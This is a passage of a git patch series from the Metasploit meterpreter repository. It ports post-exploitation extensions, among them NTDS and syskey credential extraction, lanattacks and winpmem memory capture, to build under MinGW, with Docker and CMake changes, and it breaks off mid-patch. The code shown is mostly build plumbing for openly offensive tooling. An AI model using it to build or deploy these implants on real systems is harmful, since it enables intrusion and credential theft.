+	@cmake -S workspace -B workspace/build/mingw-x86 -Wno-dev -DBUILD_SNIFFER=NO -DBUILD_ARCH=Win32 -DUSE_STATIC_MSVC_RUNTIMES=ON -DCMAKE_TOOLCHAIN_FILE=i686-w64-mingw32.cmake -DDBGTRACE=ON
 
 meterpreter-x86-build:
-	cmake --build workspace/build/mingw-x86 --config Release
+	@cmake --build workspace/build/mingw-x86 --config Release
 
 meterpreter-x86-clean:
 	@rm -rf workspace/build/mingw-x86
@@ -19,13 +20,25 @@ meterpreter-x86-clean:
 meterpreter-x64: meterpreter-x64-gen meterpreter-x64-build
 
 meterpreter-x64-gen:
-	cmake -S workspace -B workspace/build/mingw-x64 -Wno-dev -DBUILD_SNIFFER=NO -DBUILD_ARCH=x64 -DUSE_STATIC_MSVC_RUNTIMES=ON -DCMAKE_TOOLCHAIN_FILE=x86_64-w64-mingw32.cmake -DDBGTRACE=ON
+	@cmake -S workspace -B workspace/build/mingw-x64 -Wno-dev -DBUILD_SNIFFER=NO -DBUILD_ARCH=x64 -DUSE_STATIC_MSVC_RUNTIMES=ON -DCMAKE_TOOLCHAIN_FILE=x86_64-w64-mingw32.cmake -DDBGTRACE=ON
 
 meterpreter-x64-build:
-	cmake --build workspace/build/mingw-x64 --config Release
+	@cmake --build workspace/build/mingw-x64 --config Release
 
 meterpreter-x64-clean:
 	@rm -rf workspace/build/mingw-x64
 
 install:
 	@cp output/*.dll ../../../metasploit-framework/data/meterpreter
+
+docker:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make
+
+docker-shell:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build bash
+
+docker-x64:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-x64
+
+docker-x86:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-x86
diff --git a/c/meterpreter/source/extensions/winpmem/winpmem.cpp b/c/meterpreter/source/extensions/winpmem/winpmem.cpp
index 8c769a2a..4465230b 100755
--- a/c/meterpreter/source/extensions/winpmem/winpmem.cpp
+++ b/c/meterpreter/source/extensions/winpmem/winpmem.cpp
@@ -781,23 +781,10 @@ int WinPmem::uninstall_driver()
 char *store_metadata_(struct PmemMemoryInfo *info)
 {
 	SYSTEM_INFO sys_info;
-	struct tm newtime;
-	__time32_t aclock;
 
-	char time_buffer[32];
 	errno_t errNum;
 	char *arch = NULL;
 
-	_time32(&aclock);   // Get time in seconds.
-	_gmtime32_s(&newtime, &aclock);   // Convert time to struct tm form.
-
-	// Print local time as a string.
-	errNum = asctime_s(time_buffer, 32, &newtime);
-	if (errNum)
-	{
-		time_buffer[0] = 0;
-	}
-
 	// Get basic architecture information (Note that we always write ELF64 core
 	// dumps - even on 32 bit platforms).
 	ZeroMemory(&sys_info, sizeof(sys_info));
@@ -823,14 +810,12 @@ char *store_metadata_(struct PmemMemoryInfo *info)
 		"# PMEM\n"
 		"---\n"   // The start of the YAML file.
 		"acquisition_tool: 'WinPMEM " PMEM_VERSION "'\n"
-		"acquisition_timestamp: %s\n"
 		"CR3: %#llx\n"
 		"NtBuildNumber: %#llx\n"
 		"NtBuildNumberAddr: %#llx\n"
 		"KernBase: %#llx\n"
 		"Arch: %s\n"
 		"...\n",  // This is the end of a YAML file.
-		time_buffer,
 		info->CR3.QuadPart,
 		info->NtBuildNumber.QuadPart,
 		info->NtBuildNumberAddr.QuadPart,
diff --git a/c/meterpreter/workspace/CMakeLists.txt b/c/meterpreter/workspace/CMakeLists.txt
index d6f15a01..a8471ada 100644
--- a/c/meterpreter/workspace/CMakeLists.txt
+++ b/c/meterpreter/workspace/CMakeLists.txt
@@ -6,7 +6,7 @@ if(MSVC)
     cmake_policy(SET CMP0091 NEW)
 endif()
 
-project(${PROJECT_NAME} C CXX)
+project(${PROJECT_NAME} C)
 
 option(DBGTRACE "Enable debug tracing" OFF)
 option(DBGTRACE_VERBOSE "Enable verbose debug tracing" OFF)
@@ -106,6 +106,7 @@ set(
     ext_server_incognito
     ext_server_unhook
     ext_server_winpmem
+    ext_server_lanattacks
 )
 
 if(MSVC)
@@ -113,7 +114,6 @@ if(MSVC)
         MET_EXTENSIONS
         ${MET_EXTENSIONS}
         ext_server_extapi
-        ext_server_lanattacks
         ext_server_peinjector
         ext_server_mimikatz
         ext_server_powershell
diff --git a/c/meterpreter/workspace/ext_server_lanattacks/CMakeLists.txt b/c/meterpreter/workspace/ext_server_lanattacks/CMakeLists.txt
index 50fb2aa4..b8ff489f 100644
--- a/c/meterpreter/workspace/ext_server_lanattacks/CMakeLists.txt
+++ b/c/meterpreter/workspace/ext_server_lanattacks/CMakeLists.txt
@@ -1,6 +1,6 @@
 set(PROJECT_NAME ext_server_lanattacks)
 
-project(${PROJECT_NAME} C)
+project(${PROJECT_NAME} C CXX)
 
 include(${CMAKE_CURRENT_SOURCE_DIR}/../CMakeListsFuncs.txt)
 
@@ -10,11 +10,13 @@ add_definitions(
     -D_UNICODE
 )
 
-set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
-set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /MP")
+if(MSVC)
+    set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
+    set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /MP")
+endif()
 
 include_directories(../../source/common)
-include_directories(../../source/ReflectiveDllInjection/common)
+include_directories(../../source/ReflectiveDLLInjection/common)
 
 set(SRC_DIR ../../source/extensions/lanattacks)
 file(GLOB SRC_FILES
@@ -24,12 +26,21 @@ file(GLOB SRC_FILES
 )
 add_library(${PROJECT_NAME} SHARED ${SRC_FILES})
 set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH})
-set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
-set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
+if(MSVC)
+    set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
+    set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
+endif()
+
+set(LINK_LIBS
+    netapi32
+    mpr
+    ws2_32
+)
 
 target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})
 if(MSVC)
     target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070")
+else()
 endif()
 
 # Post processing (required for all Meterpreter DLLs)
diff --git a/c/meterpreter/workspace/ext_server_winpmem/CMakeLists.txt b/c/meterpreter/workspace/ext_server_winpmem/CMakeLists.txt
index 9a79234b..99c8eaa3 100644
--- a/c/meterpreter/workspace/ext_server_winpmem/CMakeLists.txt
+++ b/c/meterpreter/workspace/ext_server_winpmem/CMakeLists.txt
@@ -11,6 +11,7 @@ add_definitions(
 )
 
 if(MSVC)
+    set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
     set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /MP")
 endif()
 
@@ -20,7 +21,7 @@ include_directories(../../source/ReflectiveDLLInjection/common)
 set(SRC_DIR ../../source/extensions/winpmem)
 file(GLOB SRC_FILES
     ${SRC_DIR}/*.cpp
-    ${SRC_DIR}/extension.def
+    ${MOD_DEF_DIR}/extension.def
 )
 
 if(MSVC)
@@ -34,10 +35,14 @@ set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${T
 if(MSVC)
     set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
     set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
-else()
-    set_target_properties(${PROJECT_NAME} PROPERTIES LINKER_LANGUAGE "CXX")
 endif()
 
+set(LINK_LIBS
+    netapi32
+    mpr
+    ws2_32
+)
+
 target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})
 if(MSVC)
     target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070")
diff --git a/docker/Dockerfile b/docker/Dockerfile
index 40351456..129500e5 100644
--- a/docker/Dockerfile
+++ b/docker/Dockerfile
@@ -1,7 +1,7 @@
 # To build the dev environment.
 # docker build -t rapid7/build:meterpreter .
 
-FROM ubuntu:14.04.5
+FROM ubuntu:focal
 MAINTAINER Brent Cook <bcook@rapid7.com> (@busterbcook)
 
 ENV DEBIAN_FRONTEND noninteractive
@@ -11,15 +11,19 @@ RUN apt-get update && \
 	apt-get dist-upgrade -y && \
 	apt-get -y install software-properties-common && \
 	dpkg --add-architecture i386 && \
-	apt-add-repository ppa:ubuntu-wine && \
-	apt-get update && \
-	apt-get -y install \
-		wine php5-cli python python3 \
-		bison flex gcc gcc-multilib jam make wget \
-		ruby rake bundler git \
-		maven openjdk-7-jdk && \
-	apt-get clean && \
-	rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
+	apt-get update
+RUN apt-get -y install bison flex gcc gcc-multilib jam make wget
+RUN apt-get -y install ruby rake bundler git
+RUN apt-get -y install mingw-w64-x86-64-dev mingw-w64-i686-dev
+RUN apt-get -y install g++-mingw-w64-i686 g++-mingw-w64-x86-64
+RUN apt-get -y install gcc-mingw-w64-i686 gcc-mingw-w64-x86-64
+RUN apt-get -y install cmake
+RUN apt-get -y install maven
+RUN apt-get -y install wine python python3
+RUN apt-get -y install openjdk-8-jdk
+RUN apt-get -y install php-cli
+	#apt-get clean && \
+	#rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
 
 # Android NDK
 RUN wget http://dl.google.com/android/ndk/android-ndk-r9d-linux-x86_64.tar.bz2 && \
@@ -41,7 +45,7 @@ RUN echo y | /usr/local/android-sdk/tools/android update sdk --filter android-3
 
 # Pre-cache Maven artifacts
 RUN git clone https://github.com/rapid7/metasploit-payloads.git && \
-	cd metasploit-payloads/java && make && cd .. && rm -fr metasploit-payloads
+	cd metasploit-payloads/java && make ; cd .. && rm -fr metasploit-payloads
 
 ENV ANDROID_HOME /usr/local/android-sdk
 ENV ANDROID_NDK_HOME /usr/local/android-ndk

From 3d4d4706e2c4ac65b9ea16bf3551df4f10d0d6d0 Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Mon, 25 May 2020 09:19:42 +1000
Subject: [PATCH 16/28] Remove unused local

---
 c/meterpreter/source/extensions/winpmem/winpmem.cpp | 1 -
 1 file changed, 1 deletion(-)

diff --git a/c/meterpreter/source/extensions/winpmem/winpmem.cpp b/c/meterpreter/source/extensions/winpmem/winpmem.cpp
index 4465230b..4287023a 100755
--- a/c/meterpreter/source/extensions/winpmem/winpmem.cpp
+++ b/c/meterpreter/source/extensions/winpmem/winpmem.cpp
@@ -782,7 +782,6 @@ char *store_metadata_(struct PmemMemoryInfo *info)
 {
 	SYSTEM_INFO sys_info;
 
-	errno_t errNum;
 	char *arch = NULL;
 
 	// Get basic architecture information (Note that we always write ELF64 core

From 37fb807a95bf68761aacc7eb9a49a36ba2f42664 Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Mon, 25 May 2020 10:23:03 +1000
Subject: [PATCH 17/28] Get extapi compiling under mingw

---
 c/meterpreter/source/common/common.h          |  2 +
 .../extensions/extapi/adsi_interface.cpp      | 10 +--
 .../extensions/extapi/clipboard_image.cpp     |  8 +-
 .../source/extensions/extapi/extapi.h         |  2 +
 c/meterpreter/source/extensions/extapi/ntds.c |  4 +-
 .../source/extensions/extapi/ntds_decrypt.c   |  4 +-
 .../source/extensions/extapi/ntds_jet.c       | 27 ++++++-
 .../source/extensions/extapi/service.c        |  2 +-
 .../source/extensions/extapi/syskey.c         |  4 +-
 .../extensions/extapi/wmi_interface.cpp       | 77 +++++++++++++++++--
 c/meterpreter/workspace/CMakeLists.txt        |  2 +-
 .../ext_server_extapi/CMakeLists.txt          | 31 ++++++--
 12 files changed, 138 insertions(+), 35 deletions(-)

diff --git a/c/meterpreter/source/common/common.h b/c/meterpreter/source/common/common.h
index 9e9e037f..81c26844 100755
--- a/c/meterpreter/source/common/common.h
+++ b/c/meterpreter/source/common/common.h
@@ -33,6 +33,8 @@
 #define ERROR_DBG_TERMINATE_THREAD       691L
 #define ERROR_UNHANDLED_EXCEPTION        574L
 #define ERROR_UNSUPPORTED_COMPRESSION    618L
+#define ERROR_NOT_CAPABLE                775L
+#define ERROR_NOTHING_TO_TERMINATE       778L
 #define __try
 #define __except(x) if(0)
 
diff --git a/c/meterpreter/source/extensions/extapi/adsi_interface.cpp b/c/meterpreter/source/extensions/extapi/adsi_interface.cpp
index 55639bf7..83e38497 100644
--- a/c/meterpreter/source/extensions/extapi/adsi_interface.cpp
+++ b/c/meterpreter/source/extensions/extapi/adsi_interface.cpp
@@ -6,21 +6,19 @@
 extern "C" {
 #include "extapi.h"
 #include "common_metapi.h"
-#include <Iads.h>
-#include <Adshlp.h>
-#include <AdsErr.h>
+#include <iads.h>
+#include <adshlp.h>
+#include <adserr.h>
 #include "adsi_interface.h"
 }
 
-#pragma comment(lib, "Activeds.lib")
-
 #define VALUE_SIZE 1024
 #define PATH_SIZE 256
 
 typedef BOOL (WINAPI *PCONVERTSIDTOSTRINGSID)(PSID pSid, LPSTR* pStr); 
 
 /*! @brief The GUID of the Directory Search COM object. */
-static const IID IID_IDirectorySearch = { 0x109BA8EC, 0x92F0, 0x11D0, { 0xA7, 0x90, 0x00, 0xC0, 0x4F, 0xD8, 0xD5, 0xA8 } };
+extern const IID IID_IDirectorySearch = { 0x109BA8EC, 0x92F0, 0x11D0, { 0xA7, 0x90, 0x00, 0xC0, 0x4F, 0xD8, 0xD5, 0xA8 } };
 
 static PCONVERTSIDTOSTRINGSID pConvertSidToStringSid = NULL;
 static HMODULE hAdvapi32 = NULL;
diff --git a/c/meterpreter/source/extensions/extapi/clipboard_image.cpp b/c/meterpreter/source/extensions/extapi/clipboard_image.cpp
index 8781a292..fae88a35 100644
--- a/c/meterpreter/source/extensions/extapi/clipboard_image.cpp
+++ b/c/meterpreter/source/extensions/extapi/clipboard_image.cpp
@@ -10,7 +10,11 @@ extern "C" {
 #include "extapi.h"
 #include "clipboard_image.h"
 }
-#include <GdiPlus.h>
+#include <gdiplus.h>
+
+#ifndef max
+#define max(x,y) ((x)>(y)?(x):(y))
+#endif
 
 /*!
  * @brief Get the Class ID of an encoder which supports encoding to the specified MIME type.
@@ -214,4 +218,4 @@ DWORD convert_to_jpg(const LPBITMAPINFO lpBI, const LPVOID lpDIB, ULONG ulQualit
 
 	return dwResult;
 }
-}
\ No newline at end of file
+}
diff --git a/c/meterpreter/source/extensions/extapi/extapi.h b/c/meterpreter/source/extensions/extapi/extapi.h
index bef34e89..99658d2e 100644
--- a/c/meterpreter/source/extensions/extapi/extapi.h
+++ b/c/meterpreter/source/extensions/extapi/extapi.h
@@ -7,6 +7,8 @@
 
 #include "../../common/common.h"
 
+#define JET_VERSION 0x0600
+
 #define TLV_TYPE_EXTENSION_EXTAPI	0
 
 #define TLV_TYPE_EXT_WINDOW_ENUM_GROUP              MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP,     TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 1)
diff --git a/c/meterpreter/source/extensions/extapi/ntds.c b/c/meterpreter/source/extensions/extapi/ntds.c
index 4d237de2..5735346a 100755
--- a/c/meterpreter/source/extensions/extapi/ntds.c
+++ b/c/meterpreter/source/extensions/extapi/ntds.c
@@ -5,10 +5,8 @@
 #include "extapi.h"
 #include "common_metapi.h"
 
-#define JET_VERSION 0x0501
-
 #include <inttypes.h>
-#include <WinCrypt.h>
+#include <wincrypt.h>
 #include "syskey.h"
 #include "ntds_decrypt.h"
 #include "ntds_jet.h"
diff --git a/c/meterpreter/source/extensions/extapi/ntds_decrypt.c b/c/meterpreter/source/extensions/extapi/ntds_decrypt.c
index 3aa23e54..8b2dcd26 100644
--- a/c/meterpreter/source/extensions/extapi/ntds_decrypt.c
+++ b/c/meterpreter/source/extensions/extapi/ntds_decrypt.c
@@ -4,10 +4,8 @@
 */
 #include "extapi.h"
 
-#define JET_VERSION 0x0501
-
 #include <inttypes.h>
-#include <WinCrypt.h>
+#include <wincrypt.h>
 #include "syskey.h"
 #include "ntds_decrypt.h"
 #include "ntds_jet.h"
diff --git a/c/meterpreter/source/extensions/extapi/ntds_jet.c b/c/meterpreter/source/extensions/extapi/ntds_jet.c
index 81e61e3e..4d7d2059 100644
--- a/c/meterpreter/source/extensions/extapi/ntds_jet.c
+++ b/c/meterpreter/source/extensions/extapi/ntds_jet.c
@@ -5,15 +5,34 @@
 #include "extapi.h"
 #include "common_metapi.h"
 
-#define JET_VERSION 0x0501
-
 #include <inttypes.h>
-#include <WinCrypt.h>
+#include <wincrypt.h>
 #include "syskey.h"
 #include "ntds_decrypt.h"
 #include "ntds_jet.h"
 #include "ntds.h"
 
+#ifdef __MINGW32__
+typedef JET_ERR (JET_API*PJetGetTableColumnInfo)(JET_SESID sesid, JET_TABLEID tableid, const char* szColumnName, void* pvResult, unsigned long cbMax, unsigned long InfoLevel);
+#endif
+
+JET_ERR JET_API InternalJetGetTableColumnInfo(JET_SESID sesid, JET_TABLEID tableid, const char* szColumnName, void* pvResult, unsigned long cbMax, unsigned long InfoLevel)
+{
+#ifdef __MINGW32__
+	// This function does exist in the x64 version of mingw's compiler.
+	// Doesn't live in the x86 version, and I have no idea why. So add
+	// a dynamic invocation to cover for it at runtime.
+	static PJetGetTableColumnInfo pFunc = NULL;
+	if (pFunc == NULL)
+	{
+		pFunc = (PJetGetTableColumnInfo)GetProcAddress(LoadLibraryA("esent.dll"), "JetGetTableColumnInfo");
+	}
+	return pFunc(sesid, tableid, szColumnName, pvResult, cbMax, InfoLevel);
+#else
+	return JetGetTableColumnInfo(sesid, tableid, szColumnName, pvResult, cbMax, InfoLevel);
+#endif
+}
+
 /*!
 * @brief Shuts down the Jet Instance and frees the jetState struct.
 * @param ntdsState Pointer to a jetsState struct which contains all the state data for the Jet Instance.
@@ -128,7 +147,7 @@ JET_ERR get_column_info(struct jetState *ntdsState, struct ntdsColumns *accountC
 	};
 	int countColumns = sizeof(columns) / sizeof(columns[0]);
 	for (int i = 0; i < countColumns; i++) {
-		columnError = JetGetTableColumnInfo(ntdsState->jetSession, ntdsState->jetTable, columns[i].name, columns[i].column, sizeof(JET_COLUMNDEF), JET_ColInfo);
+		columnError = InternalJetGetTableColumnInfo(ntdsState->jetSession, ntdsState->jetTable, columns[i].name, columns[i].column, sizeof(JET_COLUMNDEF), JET_ColInfo);
 		if (columnError != JET_errSuccess) {
 			return columnError;
 		}
diff --git a/c/meterpreter/source/extensions/extapi/service.c b/c/meterpreter/source/extensions/extapi/service.c
index d812d757..bd9f0376 100644
--- a/c/meterpreter/source/extensions/extapi/service.c
+++ b/c/meterpreter/source/extensions/extapi/service.c
@@ -6,7 +6,7 @@
 #include "service.h"
 #include "common_metapi.h"
 
-#include <Sddl.h>
+#include <sddl.h>
 
 /*! @brief The possible list of operations to perform on a service */
 typedef enum _ServiceOperation
diff --git a/c/meterpreter/source/extensions/extapi/syskey.c b/c/meterpreter/source/extensions/extapi/syskey.c
index abdf33c9..e2590f0e 100644
--- a/c/meterpreter/source/extensions/extapi/syskey.c
+++ b/c/meterpreter/source/extensions/extapi/syskey.c
@@ -4,10 +4,8 @@
 */
 #include "extapi.h"
 
-#define JET_VERSION 0x0501
-
 #include <inttypes.h>
-#include <WinCrypt.h>
+#include <wincrypt.h>
 #include "syskey.h"
 #include "ntds_decrypt.h"
 #include "ntds_jet.h"
diff --git a/c/meterpreter/source/extensions/extapi/wmi_interface.cpp b/c/meterpreter/source/extensions/extapi/wmi_interface.cpp
index 453ed840..a163886d 100644
--- a/c/meterpreter/source/extensions/extapi/wmi_interface.cpp
+++ b/c/meterpreter/source/extensions/extapi/wmi_interface.cpp
@@ -9,13 +9,10 @@ extern "C" {
 #include <inttypes.h>
 #include "wmi_interface.h"
 }
-#include <WbemCli.h>
+#include <wbemcli.h>
 #include <comutil.h>
 #include <comdef.h>
 
-#pragma comment(lib, "wbemuuid.lib")
-#pragma comment(lib, "comsuppw.lib")
-
 #define FIELD_SIZE 1024
 #define ENUM_TIMEOUT 5000
 
@@ -27,6 +24,76 @@ extern "C" {
 #define SYSTEM_FIELD_COUNT 8
 #endif
 
+#ifdef __MINGW32__
+// Provide custom implmentations of the BSTR conversion
+// functions because comsuppw.lib is a proprietary lib
+// that comes with Vis Studio
+namespace _com_util
+{
+	inline BSTR ConvertStringToBSTR(const char* pSrc)
+	{
+		if(!pSrc)
+		{
+			return NULL;
+		}
+
+		DWORD cwch;
+		BSTR wsOut(NULL);
+
+		if(cwch = ::MultiByteToWideChar(CP_ACP, 0, pSrc, -1, NULL, 0))
+		{
+			cwch--;
+			wsOut = ::SysAllocStringLen(NULL, cwch);
+
+			if(wsOut)
+			{
+				if(!::MultiByteToWideChar(CP_ACP, 0, pSrc, -1, wsOut, cwch))
+				{
+					if(ERROR_INSUFFICIENT_BUFFER == ::GetLastError())
+					{
+						return wsOut;
+					}
+					::SysFreeString(wsOut);//must clean up
+					wsOut = NULL;
+				}
+			}
+		}
+
+		return wsOut;
+	}
+
+	inline char* ConvertBSTRToString(BSTR pSrc)
+	{
+		if(!pSrc)
+		{
+			return NULL;
+		}
+
+		//convert even embeded NULL
+		DWORD cb,cwch = ::SysStringLen(pSrc);
+
+		char *szOut = NULL;
+
+		if(cb = ::WideCharToMultiByte(CP_ACP, 0, pSrc, cwch + 1, NULL, 0, 0, 0))
+		{
+			szOut = new char[cb];
+			if(szOut)
+			{
+				szOut[cb - 1]  = '\0';
+
+				if(!::WideCharToMultiByte(CP_ACP, 0, pSrc, cwch + 1, szOut, cb, 0, 0))
+				{
+					delete []szOut;//clean up if failed;
+					szOut = NULL;
+				}
+			}
+		}
+
+		return szOut;
+	}
+}
+#endif
+
 /*!
  * @brief Convert a variant type to a string and write it to the given buffer.
  * @param v The variant to convert.
@@ -39,7 +106,7 @@ extern "C" {
  *          array depth has been attempted, but no tests have yet found a nested array in the
  *          result set. There's probably bugs in that bit.
  */
-char* variant_to_string(_variant_t& v, char* buffer, DWORD bufferSize)
+char* variant_to_string(const _variant_t& v, char* buffer, DWORD bufferSize)
 {
 	dprintf("[WMI] preparing to parse variant of type %u (%x), buffer size %u", v.vt, v.vt, bufferSize);
 
diff --git a/c/meterpreter/workspace/CMakeLists.txt b/c/meterpreter/workspace/CMakeLists.txt
index a8471ada..162298e2 100644
--- a/c/meterpreter/workspace/CMakeLists.txt
+++ b/c/meterpreter/workspace/CMakeLists.txt
@@ -107,13 +107,13 @@ set(
     ext_server_unhook
     ext_server_winpmem
     ext_server_lanattacks
+    ext_server_extapi
 )
 
 if(MSVC)
     set(
         MET_EXTENSIONS
         ${MET_EXTENSIONS}
-        ext_server_extapi
         ext_server_peinjector
         ext_server_mimikatz
         ext_server_powershell
diff --git a/c/meterpreter/workspace/ext_server_extapi/CMakeLists.txt b/c/meterpreter/workspace/ext_server_extapi/CMakeLists.txt
index fd16b68a..d1f4efd0 100644
--- a/c/meterpreter/workspace/ext_server_extapi/CMakeLists.txt
+++ b/c/meterpreter/workspace/ext_server_extapi/CMakeLists.txt
@@ -1,6 +1,6 @@
 set(PROJECT_NAME ext_server_extapi)
 
-project(${PROJECT_NAME} C)
+project(${PROJECT_NAME} C CXX)
 
 include(${CMAKE_CURRENT_SOURCE_DIR}/../CMakeListsFuncs.txt)
 
@@ -8,11 +8,13 @@ add_definitions(
     -D_USRDLL
 )
 
-set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
-set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /MP")
+if(MSVC)
+    set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
+    set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /MP")
+endif()
 
 include_directories(../../source/common)
-include_directories(../../source/ReflectiveDllInjection/common)
+include_directories(../../source/ReflectiveDLLInjection/common)
 
 set(SRC_DIR ../../source/extensions/extapi)
 file(GLOB SRC_FILES
@@ -20,12 +22,27 @@ file(GLOB SRC_FILES
     ${SRC_DIR}/*.cpp
     ${MOD_DEF_DIR}/extension.def
 )
+
 add_library(${PROJECT_NAME} SHARED ${SRC_FILES})
 set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH})
-set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
-set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
+if(MSVC)
+    set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
+    set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
+endif()
+
+set(LINK_LIBS
+    gdiplus
+    ws2_32
+    activeds
+    wbemuuid
+    esent
+)
+
+if(MSVC)
+    set(LINK_LIBS ${LINK_LIBS} comsuppw)
+else()
+endif()
 
-set(LINK_LIBS gdiplus ws2_32)
 target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})
 if(MSVC)
     target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070")

From f4dd751b233a4c3aaef4d2553917a2ab9dbe4bf9 Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Mon, 25 May 2020 10:39:45 +1000
Subject: [PATCH 18/28] Add libs to linker input for VS project

---
 .../workspace/ext_server_extapi/ext_server_extapi.vcxproj | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj b/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj
index 38b525aa..4bdb77e1 100644
--- a/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj
+++ b/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj
@@ -102,7 +102,7 @@
       <MultiProcessorCompilation>true</MultiProcessorCompilation>
     </ClCompile>
     <Link>
-      <AdditionalDependencies>gdiplus.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
+      <AdditionalDependencies>activeds.lib;wbemuuid.lib;esent.lib;gdiplus.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
       <AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
       <IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
       <IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
@@ -156,7 +156,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
       <MultiProcessorCompilation>true</MultiProcessorCompilation>
     </ClCompile>
     <Link>
-      <AdditionalDependencies>gdiplus.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
+      <AdditionalDependencies>activeds.lib;wbemuuid.lib;esent.lib;gdiplus.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
       <AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
       <IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
       <IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
@@ -212,7 +212,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
       <MultiProcessorCompilation>true</MultiProcessorCompilation>
     </ClCompile>
     <Link>
-      <AdditionalDependencies>gdiplus.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
+      <AdditionalDependencies>activeds.lib;wbemuuid.lib;esent.lib;gdiplus.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
       <AdditionalLibraryDirectories>
       </AdditionalLibraryDirectories>
       <DelayLoadDLLs>
@@ -267,7 +267,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
       <MultiProcessorCompilation>true</MultiProcessorCompilation>
     </ClCompile>
     <Link>
-      <AdditionalDependencies>gdiplus.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
+      <AdditionalDependencies>activeds.lib;wbemuuid.lib;esent.lib;gdiplus.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
       <AdditionalLibraryDirectories>
       </AdditionalLibraryDirectories>
       <DelayLoadDLLs>

From 7fab0b200acb0b7486c0fc29cf89bccc638f2e08 Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Tue, 26 May 2020 09:40:19 +1000
Subject: [PATCH 19/28] Building, but not working yet

Got an issue where certain functions aren't being resolved and hence are
null when being invoked. Need to debug the loading of the DLL to see why
this is the case.
---
 c/meterpreter/Makefile                        |  4 +-
 c/meterpreter/source/extensions/kiwi/main.c   |  3 +-
 c/meterpreter/workspace/CMakeLists.txt        |  2 +-
